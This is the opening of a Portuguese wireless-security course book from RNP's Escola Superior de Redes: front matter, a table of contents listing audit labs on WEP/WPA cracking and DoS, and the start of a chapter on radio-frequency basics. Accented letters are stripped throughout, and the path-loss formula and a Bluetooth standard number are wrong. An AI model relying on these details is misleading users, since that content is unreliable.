Segurança em Redes Sem Fio

Segurana em
Redes sem Fio
Ronaldo Vasconcellos
A RNP Rede Nacional de Ensino e Pesquisa qualificada como uma Organizao Social (OS), sendo ligada ao Ministrio da Cincia, Tecnologia e Inovao (MCTI) e responsvel pelo Programa Interministerial RNP, que conta com a participao dos ministrios da Educao (MEC), da Sade (MS) e da Cultura (MinC). Pioneira no acesso Internet no Brasil, a RNP planeja e mantm a rede Ip, a rede ptica nacional acadmica de alto desempenho. Com Pontos de Presena nas 27 unidades da federao, a rede tem mais de 800 instituies conectadas. So aproximadamente 3,5 milhes de usurios usufruindo de uma infraestrutura de redes avanadas para comunicao, computao e experimentao, que contribui para a integrao entre o sistema de Cincia e Tecnologia, Educao Superior, Sade e Cultura.
Ministrio da Cultura Ministrio da Sade Ministrio da Educao Ministrio da Cincia, Tecnologia e Inovao
Segurana em
Redes sem Fio
Segurana em
Redes sem Fio

Rio de Janeiro Escola Superior de Redes 2013
Copyright 2013 Rede Nacional de Ensino e Pesquisa RNP Rua Lauro Mller, 116 sala 1103 22290-906 Rio de Janeiro, RJ
Diretor Geral Nelson Simes Diretor de Servios e Solues Jos Luiz Ribeiro Filho
Escola Superior de Redes

Coordenao Luiz Coelho Edio Pedro Sangirardi Reviso Lincoln da Mata Reviso Tcnica Frederico Costa Coordenao Acadmica de Segurana e Governana de TI Edson Kowask Equipe ESR (em ordem alfabtica) Celia Maciel, Cristiane Oliveira, Derlina Miranda, Elimria Barbosa, Evellyn Feitosa, Felipe Nascimento, Lourdes Soncin, Luciana Batista, Luiz Carlos Lobato, Renato Duarte, Sergio Ricardo de Souza e Yve Abel Marcial. Capa, projeto visual e diagramao Tecnodesign Verso
1.3.0
Este material didtico foi elaborado com fins educacionais. Solicitamos que qualquer erro encontrado ou dvida com relao ao material ou seu uso seja enviado para a equipe de elaborao de contedo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e Pesquisa e os autores no assumem qualquer responsabilidade por eventuais danos ou perdas, a pessoas ou bens, originados do uso deste material. As marcas registradas mencionadas neste material pertencem aos respectivos titulares. Distribuio
Rua Lauro Mller, 116 sala 1103 22290-906 Rio de Janeiro, RJ http://esr.rnp.br info@esr.rnp.br
Dados Internacionais de Catalogao na Publicao (CIP) Vasconcellos, Ronaldo. V331t Segurana em Redes sem Fio / Ronaldo Vasconcellos. Rio de Janeiro: RNP/ESR, 2013. 200 p. : il. ; 28 cm. Bibliografia: p. 181-182. ISBN 978-85-63630-30-8
1. Fundamentos da radiofrequncia. 2. Redes sem fio. 3. Comutao por pacotes (Transmisso de dados). 4. Seleo de padres. I. Ttulo CDD 004.65
Sumrio
A metodologia da ESRxiii Sobre o curso xiv A quem se destinaxiv Convenes utilizadas neste livroxiv Permisses de usoxv Sobre os autoresxvi
1. Histria, padres e fundamentos de radiofrequncia

Introduo 1 Exerccio de nivelamento 1 Histria, padres e fundamentos de radiofrequncia1 Classificao de redes por rea de cobertura2 WLAN3 Regulamentao3 Papel da WLAN3 Os sete principais papis da WLAN4 Fundamentos de radiofrequncia4 Ganho e perda de sinal5 Causas de perda6 Reflexo6 Espalhamento6 Difrao7 Refrao7 LOS8 VSWR9 iii
Antenas Ganho9 Potncia de radiao10 Equivalent Isotropically Radiated Power (EIRP)10 Matemtica RF11 Exerccio de fixao 1 Fundamentos de radiofrequncia11 Tecnologias de transmisso12 Implementaes de Spread Spectrum12 Direct Sequence Spread Spectrum (DSSS)13 Orthogonal Frequency Division Multiplexing (OFDM)14 Exerccio de fixao 2 Tecnologias de transmisso16 Organizaes e padres16 Padres Wi-Fi Alliance 16 WPA 16 WPA217 Padres IETF18 Padres IEEE18 Padres IEEE 802.11 19 Padres 802.11 inexistentes 20 Tendncias20 Wi-Fi e telefonia IP20 Wi-Fi a bordo21 Padro 802.11n21 Roteiro de Atividades 123 Atividade 1.1 Matemtica RF23 Atividade 1.2 rgos reguladores23 Atividade 1.3 IEEE 802.11n23 Atividade 1.4 WPA2 e RSN24 Atividade 1.5 Projeto de WLAN com interseco de clulas24
2. WLAN: equipamentos
e configurao
Introduo25 Exerccio de nivelamento 1 WLAN25 Acess Point26
iv
Clientes WLAN26 Conceitos sobre antenas27 Antena Omnidirecional (dipolo)28 Antena Semidirecional28 Antena altamente direcional29 Amplificadores 29 Atenuadores29 Splitter29 Conectores30 Cabos30 Exerccio de fixao 1 WLAN: equipamentos e acessrios30 Configurao de clientes31 Windows31 Linux32 Roteiro de Atividades 235 Atividade 2.1 Configurao de um cliente Windows35 Atividade 2.2 Configurao de um cliente Linux39
3. Auditoria em redes sem fio (parte 1)

Introduo49 Ataques a redes sem fio49 Concepes erradas49 Segurana fsica51 Wardriving51 Piggybacking52 Warflying52 DEFCON Wifi Shootout Contest53 Divulgao de informaes53 Negao de servio53 Access points rogue54 Outros ataques54 Trfego 802.1155 Arquitetura IBSS55 802.1x56 IEEE 802.1157 Quadros 802.11 59
Captura59 Modos de operao das interfaces de rede60 Roteiro de Atividades 361 Atividade 3.1 Captura e anlise de trfego em sistemas Windows61 Atividade 3.2 Captura e anlise de trfego em sistemas Linux62 Atividade 3.3 Vazamento de informaes em redes Wi-Fi 65
4. Auditoria em redes sem fio (parte 2)

Introduo67 Exerccio de nivelamento 1 Ataques a redes sem fio67 Metodologias de auditoria67 Fingerprinting do AP69 Fingerprinting passivo 69 Fingerprinting ativo69 Processamento de informaes coletadas69 Identificao de mtodos de segurana 70 Mapeamento externo70 Mapeamento interno71 Avaliao do trfego72 Avaliao de trfego cifrado72 Anlise da camada MAC73 Avaliao de trfego cifrado73 Exerccio de fixao 1 Metodologias de auditoria73 Ferramentas de auditoria73 Wireshark74 Kismet75 NetStumbler76 GPSMAP77 Roteiro de Atividades 479 Atividade 4.1 NetStumbler no Windows e suas funcionalidades79 Atividade 4.2 Kismet no Linux e suas funcionalidades79 Atividade 4.3 Demonstrao de injeo de trfego na rede82
vi
5. Redes rogue e ataques DoS

Introduo85 Exerccio de nivelamento 1 Redes rogue 85 Problemas agravantes86 Tipos de rogue86 Tcnicas de identificao de rogues86 Rede cabeada: Fingerprinting do AP87 Rede cabeada: anlise do prefixo MAC87 Warwalking88 Monitorao da rede por clientes89 Rede sem fio: IDS na WLAN90 Intrusion Prevention System (IPS)91 Localizando rogues por anlise de SNR91 Etapas da localizao por SNR92 Criando um AP rogue sob Linux93 Exerccio de fixao 1 Redes rogue93 Denial of Service (DoS)94 Tipos de ataque DoS contra redes 802.1194 Ataque contra a camada fsica94 Ataques camada MAC 802.1195 Ataque persistente: flood de autenticao ou associao95 Ataque no persistente: flood de desautenticao97 Ataque no persistente: autenticao invlida98 Ataque no persistente: reserva do meio98 Ataque no persistente: problemas de CSMA/CA99 DoS e IEEE 802.1199 Medidas de defesa100 Roteiro de Atividades 5101 Atividade 5.1 Identificando APs na rede cabeada101 Atividade 5.2 Realizando um ataque de Negao de Servio em 802.11102 Atividade 5.3 Exerccio opcional104 Atividade 5.4 Um ataque rogue completo104
vii
6. Redes WEP-PSK
Introduo107 Wired Equivalent Privacy (WEP)107 Chaves WEP108 WEP no quadro 802.11108 Processo de cifragem WEP109 Problemas de WEP111 Sem proteo contra replay111 Verificao fraca de integridade111 Sem mecanismo de rotao de chaves112 Vetor de inicializao muito curto113 Fase de desafio-resposta revela o PRGA113 Ataques contra WEP114 Ataque de dicionrio114 Algoritmo de gerao de chaves Neesus Datacom 115 Auditando redes com WEP116 Etapas da auditoria117 Melhorando a segurana de redes WEP117 Migrar para um mtodo de segurana mais forte118 Roteiro de Atividades 6119 Atividade 6.1 Capturando pacotes cifrados com WEP com ferramentas Aircrack-ng119 Atividade 6.2 Recuperando uma chave WEP utilizando o Aircrack-ng121 Atividade 6.3 Decifrando trfego WEP 123
7. Redes WPA-PSK
Introduo125 WPA126 TKIP MIC126 WEP127 Michael127 TKIP sequncia do IV128 Ataques de replay: como TKIP resolveu o problema128 Rekeying 128 Rekeying a soluo de WPA129
viii
Key Mixing 129 Key Mixing soluo de WPA 130 TKIP 4-Way Handshake130 Identificando redes WPA-PSK134 Filtro de Wireshark 134 Ataques contra WPA-PSK135 Melhorando a segurana de WPA-PSK135 Vulnerabilidades do TKIP136 WPA2136 Roteiro de Atividades 7137 Atividade 7.1 Descobrindo a chave WPA-PSK por ataque de dicionrio137 Atividade 7.2 Descobrindo a chave WPA-PSK por ataque de dicionrio de maneira muito mais rpida138 Atividade 7.3 Realizando um ataque contra a rede do laboratrio139
8. Sistemas de deteco de intruses (IDS) em redes WLAN

Introduo141 Sistemas de deteco de intrusos (IDS) em redes WLAN 141 Termos importantes 142 Modelos de implantao143 Cobertura143 Implantao integrada 144 Mtodos de deteco144 Anlise de assinaturas 145 Anlise de tendncias145 Anlise de anomalias 145 Avaliando solues de IDS146 Caractersticas importantes147 IDS distribudo com Kismet147 Drones Kismet 148 Alertas e deteco de intruses148 Tipos de alerta assinatura (12 tipos)149 Tipos de alerta tendncias (10 tipos) 150 Prtica de Kismet como IDS Distribudo151
ix
Roteiro de Atividades 8153 Atividade 8.1 Configurando o Kismet Drone154 Atividade 8.2 Configurando o Kismet Server154 Atividade 8.3 Cobrindo todos os canais155 Atividade 8.4 Alertas156
9. Implantando uma WLAN segura (parte 1)

Introduo157 Segurana padro no AP157 Segurana sem fio158 Configuraes de segurana159 Atualizao de firmware160 AP mais seguro com OpenWRT161 OpenWRT 162 Vantagens do OpenWRT162 Instalao passo a passo163 Instalao do firmware pela interface administrativa web165 Roteiro de Atividades 9167 Atividade 9.1 Configuraes gerais de desempenho e segurana167 Atividade 9.2 Configurando um AP com WPA ou WPA2 Personal168 Atividade 9.3 Configuraes extras de segurana e desempenho169
10. Implantando uma WLAN segura (parte 2)

Introduo171 Nvel atual de segurana171 Arquitetura de autenticao172 802.1x e FreeRADIUS173 Por que EAP-TLS?174 Desvantagens de EAP-TLS174 Concluso175 Cenrio atual176
Roteiro de Atividades 10177 Atividade 10.1 Autenticao RADIUS177 Atividade 10.2 Configurao do AP com WPA2 Enterprise177 Atividade 10.3 Testando a autenticao178 Atividade 10.4 Arquivos de configurao do RADIUS178
Bibliografia 181
xi
xii

A Escola Superior de Redes (ESR) a unidade da Rede Nacional de Ensino e Pesquisa (RNP) responsvel pela disseminao do conhecimento em Tecnologias da Informao e Comunicao (TIC). A ESR nasce com a proposta de ser a formadora e disseminadora de competncias em TIC para o corpo tcnico-administrativo das universidades federais, escolas tcnicas e unidades federais de pesquisa. Sua misso fundamental realizar a capacitao tcnica do corpo funcional das organizaes usurias da RNP, para o exerccio de competncias aplicveis ao uso eficaz e eficiente das TIC. A ESR oferece dezenas de cursos distribudos nas reas temticas: Administrao e Projeto de Redes, Administrao de Sistemas, Segurana, Mdias de Suporte Colaborao Digital e Governana de TI. A ESR tambm participa de diversos projetos de interesse pblico, como a elaborao e execuo de planos de capacitao para formao de multiplicadores para projetos educacionais como: formao no uso da conferncia web para a Universidade Aberta do Brasil (UAB), formao do suporte tcnico de laboratrios do Proinfo e criao de um conjunto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).
A metodologia da ESR
A filosofia pedaggica e a metodologia que orientam os cursos da ESR so baseadas na aprendizagem como construo do conhecimento por meio da resoluo de problemas tpicos da realidade do profissional em formao. Os resultados obtidos nos cursos de natureza terico-prtica so otimizados, pois o instrutor, auxiliado pelo material didtico, atua no apenas como expositor de conceitos e informaes, mas principalmente como orientador do aluno na execuo de atividades contextualizadas nas situaes do cotidiano profissional. A aprendizagem entendida como a resposta do aluno ao desafio de situaes-problema semelhantes s encontradas na prtica profissional, que so superadas por meio de anlise, sntese, julgamento, pensamento crtico e construo de hipteses para a resoluo do pro blema, em abordagem orientada ao desenvolvimento de competncias. Dessa forma, o instrutor tem participao ativa e dialgica como orientador do aluno para as atividades em laboratrio. At mesmo a apresentao da teoria no incio da sesso de aprendizagem no considerada uma simples exposio de conceitos e informaes. O instrutor busca incentivar a participao dos alunos continuamente.
xiii
As sesses de aprendizagem onde se do a apresentao dos contedos e a realizao das atividades prticas tm formato presencial e essencialmente prtico, utilizando tcnicas de estudo dirigido individual, trabalho em equipe e prticas orientadas para o contexto de atuao do futuro especialista que se pretende formar. As sesses de aprendizagem desenvolvem-se em trs etapas, com predominncia de tempo para as atividades prticas, conforme descrio a seguir: Primeira etapa: apresentao da teoria e esclarecimento de dvidas (de 60 a 90 minutos). O instrutor apresenta, de maneira sinttica, os conceitos tericos correspondentes ao tema da sesso de aprendizagem, com auxlio de slides em formato PowerPoint. O instrutor levanta questes sobre o contedo dos slides em vez de apenas apresent-los, convidando a turma reflexo e participao. Isso evita que as apresentaes sejam montonas e que o aluno se coloque em posio de passividade, o que reduziria a aprendizagem. Segunda etapa: atividades prticas de aprendizagem (de 120 a 150 minutos). Esta etapa a essncia dos cursos da ESR. A maioria das atividades dos cursos assncrona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar dvidas e oferecer explicaes complementares. Terceira etapa: discusso das atividades realizadas (30 minutos). O instrutor comenta cada atividade, apresentando uma das solues possveis para resolv-la, devendo ater-se quelas que geram maior dificuldade e polmica. Os alunos so convidados a comentar as solues encontradas e o instrutor retoma tpicos que tenham gerado dvidas, estimulando a participao dos alunos. O instrutor sempre estimula os alunos a encontrarem solues alternativas s sugeridas por ele e pelos colegas e, caso existam, a coment-las.
Sobre o curso
O curso tem por objetivo capacitar o participante para a realizao da segurana do ambiente wireless da sua organizao. Sero ensinados os fundamentos de radiofrequncia e identificados os principais protocolos e normas envolvidas na comunicao Wi-Fi. Com nfase em redes Wi-Fi (IEEE 802.11a/b/g/n), sero apresentados os riscos que ameaam este tipo de rede, e tcnicas para mitig-los com uso de ferramentas baseadas em Linux e Windows. Sero desenvolvidas as competncias para a estruturao de uma rede sem fio de forma segura e atendendo a todos os requisitos necessrios para impedir os principais ataques. O aluno ser ainda familiarizado com ferramentas livres para verificao da rede e realizao de auditorias de segurana.
A quem se destina
O curso destinado aos profissionais de segurana, auditores e administradores de rede. Profissionais de outras reas podem participar, desde que tenham realizado o curso Tecnologias de Redes sem Fio, oferecido pela ESR, ou possuam conhecimento equivalente.
Convenes utilizadas neste livro

As seguintes convenes tipogrficas so usadas neste livro: Itlico Indica nomes de arquivos e referncias bibliogrficas relacionadas ao longo do texto.
xiv
Largura constante
Indica comandos e suas opes, variveis e atributos, contedo de arquivos e resultado da sada de comandos. Comandos que sero digitados pelo usurio so grifados em negrito e possuem o prefixo do ambiente em uso (no Linux normalmente # ou $, enquanto no Windows C:\).
Contedo de slide
Indica o contedo dos slides referentes ao curso apresentados em sala de aula.
Smbolo
Indica referncia complementar disponvel em site ou pgina na internet.
Smbolo
Indica um documento como referncia complementar.
Smbolo
Indica um vdeo como referncia complementar.
Smbolo
Indica um arquivo de adio como referncia complementar.
Smbolo
Indica um aviso ou precauo a ser considerada.
Smbolo
Indica questionamentos que estimulam a reflexo ou apresenta contedo de apoio ao entendimento do tema em questo.
Smbolo
Indica notas e informaes complementares como dicas, sugestes de leitura adicional ou mesmo uma observao.
Permisses de uso
Todos os direitos reservados RNP. Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra. Exemplo de citao: TORRES, Pedro et al. Segurana em Redes sem Fio. Rio de Janeiro: Escola Superior de Redes, RNP, 2013.
Comentrios e perguntas
Para enviar comentrios e perguntas sobre esta publicao: Escola Superior de Redes RNP Endereo: Av. Lauro Mller 116 sala 1103 Botafogo Rio de Janeiro RJ 22290-906 E-mail: info@esr.rnp.br
xv
Sobre os autores
Ronaldo Vasconcellos formado em Anlise de Sistemas (PUC Campinas), com especializao em redes (IC Unicamp) e certificaes GIAC Certified Incident Handler (GCIH) e GIAC Assessing and Auditing Wireless Networks (GAWN). Trabalha com segurana computacional desde 2002 (seis anos na rea de Resposta a Incidentes Computacionais), e desde 2010 na rea de pesquisa em Ameaas Cibernticas e Cibercrime, com foco no Brasil e Ibero-Amrica. Frederico Costa atua h 15 anos na rea de administrao de redes e segurana da informao. Seu foco de atuao segurana de infraestrutura e monitoramento de redes. Atualmente coordenador de segurana no Centro de Atendimento a Incidentes de Segurana da Rede Nacional de Ensino e Pesquisa (CAIS/RNP). Possui certificao GPEN e j ministrou cursos prticos (hands-on) focados em segurana da informao, no Brasil e no exterior. Alm disso, atualmente membro de um grupo de trabalho da OEA para elaborao de exerccios cibernticos voltados a respostas a incidentes de segurana, e tambm lidera uma iniciativa para o estabelecimento de infraestrutura de monitoramento para as redes acadmicas da Amrica Latina, no mbito das aes do GT-CSIRT/RedCLARA. Edson Kowask Bezerra profissional da rea de segurana da informao e governana h mais de quinze anos, atuando como auditor lder, pesquisador, gerente de projeto e gerente tcnico, em inmeros projetos de gesto de riscos, gesto de segurana da informao, continuidade de negcios, PCI, auditoria e recuperao de desastres em empresas de grande porte do setor de telecomunicaes, financeiro, energia, indstria e governo. Com vasta experincia nos temas de segurana e governana, tem atuado tambm como palestrante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em segurana e governana. professor e coordenador de cursos de ps-graduao na rea de segurana da informao, gesto integrada, de inovao e tecnologias web. Hoje atua como Coordenador Acadmico de Segurana e Governana de TI da Escola Superior de Redes.
xvi
1
Histria, padres e fundamentos de radiofrequncia
objetivos
Apresentar breve histrico das redes sem fio (ou Wi-Fi); mostrar as organizaes envolvidas na padronizao de redes sem fio e as principais normas adotadas; descrever as tecnologias de transmisso e fundamentos de radiofrequncia relevantes para o auditor de redes sem fio.
conceitos
Os fundamentos de radiofrequncia, Matemtica RF, organizaes e hotplug.
Introduo
11 WLAN: redes locais sem fio. 11 Fundamentos de radiofrequncia. 11 Tecnologias de transmisso. 11 Organizaes e padres. 11 Tendncias.
O que rede sem fio?
O Captulo 1 tem teor introdutrio, apresentando breve histrico das redes sem fio, fun damentos de radiofrequncia, tecnologias de transmisso (FHSS, DSSS, OFDM e MIMO) e organizaes envolvidas na padronizao e regulamentao de redes sem fio no mundo. Ao final do captulo, traado um panorama do mercado de redes sem fio com foco em redes WLAN e WMAN, e apresentadas tendncias e tecnologias emergentes. 11 Comunicao entre dispositivos sem o uso de cabos. 11 Engloba desde sistemas simples, tais como microfones sem fio, at redes locais sem fio (WLAN).
Captulo 1 - Histria, padres e fundamentos de radiofrequncia
Exerccio de nivelamento 1 e Histria, padres e fundamentos de radiofrequncia
11 Recebem e transmitem informaes usando ondas eletromagnticas (EM). 11 Comprimentos de onda que vo de 9 kilohertz (kHz) a centenas de Gigahertz (GHz). Redes sem fio esto por toda a parte. Embora redes de computadores sem fio sejam um tpico recente, outros tipos de rede sem fio esto presentes em nossas vidas h muito tempo: microfones sem fio, rdio AM e FM, celulares GSM, infravermelho, entre outros. Frequncias de transmisso de algumas dessas redes: 11 Very Low Frequency (VLF): 9-30 kHz; 11 Low Frequency (LF): 30-300 kHz; 11 Medium Frequency (MF): 300 kHz-3 MHz: estaes de rdio AM (535 kHz-1 MHz); 11 High Frequency (HF): 3 MHz-30 MHz; 11 Very High Frequency (VHF): 30 MHz-300 MHz: estaes de rdio FM, telefones sem fio e controle remoto de garagem; 11 Ultra High Frequency (UHF): 300 MHz-3 GHz, WLAN (2.4 GHz), Bluetooth, sistemas de
pager, celulares 1G, 2G e 3G, Global System for Mobile Communication (GSM), Enhanced Data Rates for Global Evolution (EDGE); 11 Super High Frequency (SHF): WLAN (5.8 GHz); 11 Extremely High Frequency (EHF): 30 GHz-300 GHz; comunicao de satlites; 11 Infrared (IR): comunicao por infravermelho entre perifricos. Apesar de muitas e diversas, so normalmente classificadas por sua rea de cobertura: 11 WWAN: 3G, EV-DO/EV-DV. 11 WMAN: WiMAX, baseado no padro IEEE 802.16. 11 WLAN: baseado em IEEE 802.11, produtos certificados como Wi-Fi. 11 WPAN: bluetooth (IEEE 802.15.1) e IR (Infrared). Foco deste curso: WLAN, padres IEEE 802.11 e padres associados (IEEE 802.1X).
Classificao de redes por rea de cobertura

Redes sem fio so classificadas por sua rea de abrangncia, tal como as redes cabeadas. Redes locais, denominadas Local Area Network (LAN), passam a ser chamadas de Wireless Local Area Network (WLAN). WLAN e padres associados so o foco deste curso. 11 Wireless Wide Area Network (WWAN): atualmente representada por tecnologias como 3G, 802.20 (MBWA Mobile Broadband Wireless Access) e EV-DO/EV-DV. 11 Wireless Metropolitan Area Network (WMAN): atualmente todas as atenes esto voltadas para o padro IEEE 802.16, impulsionado pelo WiMAX Forum. A denominao
Segurana em Redes sem Fio
WiMAX, acrnimo para Worldwide Interoperability for Microwave Access, indica que o produto foi certificado de maneira independente pelo WiMAX Forum, de maneira que seja garantida a interoperabilidade entre fornecedores. Essa classe de redes possui alcances metropolitanos, com mobilidade (IEEE 802.16e), e complementa os padres de IEEE 802.11, com enfoque em redes locais. 11 Wireless Local Area Network (WLAN): veremos os padres 802.11 mais adiante em detalhes, uma vez que so o foco deste curso.
11 Wireless Personal Area Network (WPAN): o padro Bluetooth (IEEE 802.11.1-2002 Bluetooth 1.1/802.11.1-2005 Bluetooth 1.2), hoje muito popular em celulares, foi criado para interconectar celulares, PDAs (Personal Digital Assistants) e PCs de maneira fcil e sem fio. Tem mostrado, com suas vulnerabilidades, o quanto a indstria no aprendeu com os erros do incio do desenvolvimento dos padres de redes Wi-Fi.
WLAN
11 Rede local sem fio (Wireless Local Area Network WLAN). 11 Wi-Fi: certificao de interoperabilidade. 11 Mercado em constante expanso. 11 Presente em todo laptop. 11 Celulares, cmeras digitais, PDAs, televisores e consoles portteis de videogame.
w Wi-Fi
Para mais informaes sobre Wi-Fi Alliance, acesse: http://www.wi-fi.org
Marca criada em 2000 com assessoria da Interbrand, empresa de consultoria de marcas que criou marcas conhecidas como Prozac, Imation (3M) e Compaq. A Wi-Fi Alliance certifica a interoperabilidade entre equipamentos que no so padres, como o Institute of Electrical and Electronics Engineers (IEEE). De acordo com Phil Belanger, membro fundador da organizao, Wireless Fidelity no significa nada. Foi apenas uma tentativa de juntar duas palavras, Wi e Fi. At 2002, o nome da aliana era Wireless Ethernet Compatibility Alliance (WECA).
Regulamentao
11 WLAN regulamentada nos EUA pela Federal Communications Commission (FCC) e, no Brasil, pela Agncia Nacional de Telecomunicaes (Anatel). 11 Ainda restritas ao papel de ponto de entrada em uma rede cabeada: velocidade baixa e resistncia a falhas. 11 Atualmente custa menos do que uma rede cabeada. Nos Estados Unidos, a frequncia utilizada pelas WLAN (IEEE 802.11) regulamentada pela Federal Communications Commission (FCC). No Brasil, a Anatel tem o papel regulador da FCC. As redes Wi-Fi no precisam de autori -
zao da Anatel para operar, mas devem estar de acordo com as condies de uso da Reso luo 506 (2008). Trataremos das potncias de transmisso em um dos prximos tpicos. A resoluo 506 atualiza a resoluo n 365, de 10 de maio de 2004.
Papel da WLAN
Como veremos no decorrer do curso, um dos principais elementos de uma rede sem fio o Wireless Access Point (WAP), popularmente chamado de AP. Trata-se do elemento da rede que tem o papel de ponto de entrada na rede cabeada, mas frequentemente oferece outras funcionalidades, tais como controle de acesso, firewall, Network Address Translation (NAT), entre outras. importante que, diante de tantos padres de rede sem fio emergentes WiMAX, EV-DO, Bluetooth e outros se entenda bem o papel das redes WLAN 802.11. WiMAX no foi desenvolvido para substituir Wi-Fi, mas sim para complementar essa tecnologia.
Redes 802.11 continuaro a exercer seu papel na rede local (LAN), j tecnologias como WiMAX e EV-DO sero a soluo mais adequada quando os requisitos tiverem nfase maior em abrangncia e mobilidade.
w
Mais informaes em: US Frequency Allocation Chart (http://www.ntia. doc.gov/osmhome/ allochrt.pdf ) e Anatel Resoluo n 506, de 1 de julho de 2008, que republica o Regulamento sobre Equipamentos de Radiocomunicao de Radiao Restrita: http:// www.anatel.gov.br
Os sete principais papis da WLAN

11 Acesso. 11 Extenso da rede. 11 ltima milha. 11 Mobilidade. 11 Conectividade de prdio a prdio. 11 Small Office Home Office (SOHO). 11 Escritrio mvel. Existem diversos motivos que impulsionam uma organizao a implantar uma WLAN, que podem envolver desde custo at impossibilidade de instalao de cabos. Alguns papis tpicos da WLAN numa organizao: 11 Acesso: ponto de entrada na rede cabeada com nfase em mobilidade;
11 Extenso da rede: extenso da rede cabeada sem a necessidade de instalao de cabos; 11 ltima milha: infraestrutura de provimento de acesso ao usurio final, de um Internet Service Provider (ISP) ao cliente. WiMAX tende a ocupar esse papel, uma vez que uma tecnologia mais apropriada para grandes reas de abrangncia; 11 Mobilidade: quando mobilidade mais importante que velocidade e qualidade do servio, a WLAN pode ser uma tecnologia a ser considerada; 11 Conectividade prdio a prdio: uso de equipamentos voltados ao mercado SOHO, mas com uso de antenas direcionais, por exemplo. o caso da ligao entre duas LAN em prdios prximos por meio de dois APs em modo bridge; 11 SOHO: para ambientes em que a velocidade do acesso no requisito primordial, no caso de poucos clientes de acesso. Pequenos escritrios, funcionrios que trabalham em regime de home office e usurios domsticos: o chamado mercado SOHO (Small Office/ Home Office) se encaixa nesse perfil. A maioria dos equipamentos 802.11 disponveis em lojas de eletrnicos se enquadram na categoria SOHO; 11 Escritrio mvel: montagem de estandes em eventos, extenso da rede sem a necessi dade de gastar tempo e dinheiro com cabeamento.
Fundamentos de radiofrequncia
11 Sinais de corrente alternada (AC) de alta frequncia.
11 Irradiados pelo ar na forma de ondas de rdio com o auxlio de antenas. 11 Ondas se propagam seguindo certos princpios de fsica, que abordaremos neste Captulo. 11 Propagao das ondas depende do tipo de antena: 22 Omnidirecional. 22 Semidirecional. 22 Altamente direcional.
Sinais de rdio so irradiados pelo ar com a ajuda de antenas, componentes muito importantes no projeto de uma rede sem fio. Antenas inadequadas podem restringir o alcance do sinal, da mesma forma que o uso de cabos e conectores inadequados podem atenuar o sinal Alternate Current (AC) e prejudicar a transmisso e a recepo de dados. Neste captulo, sero abordados fundamentos de radiofrequncia (RF) importantes para planejamento e auditoria de redes sem fio. Conhecendo alguns conceitos bsicos de fsica, sobre propagao de ondas eletromagnticas, o aluno ser capaz de resolver problemas do dia a dia de um administrador de redes sem fio, como por exemplo: 11 Problemas de conectividade; 11 Escolha de um melhor posicionamento do AP (site survey); 11 Localizar um AP rogue. 11 Propagao inconsistente. 11 Interferncias externas. 11 Comportamento: 22 Diferenas de impedncia entre cabos e conectores provocam perda de sinal. 22 Ganho e perda de sinal. 22 Reflexo, refrao, difrao e espalhamento. A radiofrequncia (RF) chamada de fumaa e espelhos (smoke & mirrors) por seu com portamento errtico e inconsistente. Diversos fatores podem afetar o comportamento de ondas de rdio, tais como: 11 Interferncias externas: outras fontes de sinais de rdio, Bluetooth (802.15.1), fornos de micro-ondas, telefones sem fio, entre outras aplicaes que utilizem sinais de rdio em frequncias iguais ou prximas s de Wi-Fi (2.4 GHz). 11 Pode ocorrer ganho no sinal pelo uso de antenas e amplificadores AC. De maneira contrria, o comportamento do sinal pode causar perda de sinal se houver diferena de impedncia entre cabos e conectores. 11 Perda de sinal por fenmenos fsicos que afetam a intensidade, o trajeto e outras caracte Captulo 1 - Histria, padres e fundamentos de radiofrequncia
rsticas das ondas de rdio.
Ganho e perda de sinal

Ganho: 11 Unidade: dBi. 11 Aumento na amplitude de um sinal de RF. 11 Normalmente um processo ativo, mas pode ser passivo por sinais refletidos. Perda: 11 Diminuio na fora de um sinal RF, inversamente proporcional distncia percorrida. 11 Diversos fatores podem causar perda. Aumentar a potncia do sinal pode produzir consequncias positivas ou negativas. Como podemos constatar em experimentos com OpenWRT, aumentar a potncia do Intentional
Radiator (IR), a potncia do transmissor, levando em conta perdas e ganhos de cabos ou conectores e antenas no caso da interface de rede do Access Point , pode aumentar o rudo do sinal.
O ganho de uma antena passivo e medido em dBi, ou seja, decibis com um radiador isotrpico (como o sol). Isso significa que uma antena altera o padro de radiao, no aumentando a potncia de entrada do sinal. A perda em um sinal RF ocorre principalmente pela disperso do sinal; medida que o sinal trafega pelo ar, sua potncia diminui a uma taxa inversamente proporcional distncia percorrida. Para efeito de ilustrao, depois de percorrer 100 metros, um sinal de RF normal mente sofre uma perda de cerca de 80 dB. Se o sinal percorre mais 100 metros, a perda de cerca de 86 dB. A perda (path loss) expressa pela seguinte frmula: Perda (dB) = 32,5 + 20 log F + log d Onde: F a frequncia e d a distncia em metros.
Causas de perda
Reflexo
11 Similar reflexo da luz. 11 Sinal pode se manter o mesmo. 11 Multipath: mltiplas reflexes.
ngulo de incidncia igual ao ngulo de reexo i r
Objeto
Imagem virtual
i r
i ray box r A imagem parece estar por trs do espelho

Figura 1.1 Exemplo de reflexo.
Reflexes ocorrem quando o objeto grande, comparado com o comprimento da onda. Por mais lisa e regular que seja a superfcie do ponto de vista macroscpico sempre haver perda, seja por absoro ou por espalhamento do sinal. A reflexo de sinais de RF semelhante da luz, ou seja, o ngulo de incidncia (entre o sinal que chega e a superfcie) o mesmo do ngulo de reflexo (entre o sinal e a superfcie em que refletiu) se no houver irregularidades na superfcie.
l
Observe que a caracterstica de mltiplos caminhos das ondas foi aproveitada no conceito de Multiple-Input Multiple-Output (MIMO), para aumentar a taxa fsica de transferncia de dados no padro IEEE 802.11n. Dotados de mltiplas antenas de transmisso e recepo, os equipamentos da prxima gerao de WLAN atingiro velocidades de 108 mpbs, graas a este problema das redes 802.11a/b/g.
Espalhamento
Obstculo pequeno comparado com o comprimento de onda. Tipos: 11 Onda se depara com uma superfcie irregular e refletida em vrias direes. 11 Ondas se refletem em uma escala menor, em partculas pequenas. Sinal resultante fraco demais.
O fenmeno do espalhamento pode ocorrer de duas formas. Uma delas quando uma onda se depara com uma superfcie irregular e refletida em muitas direes simultaneamente.
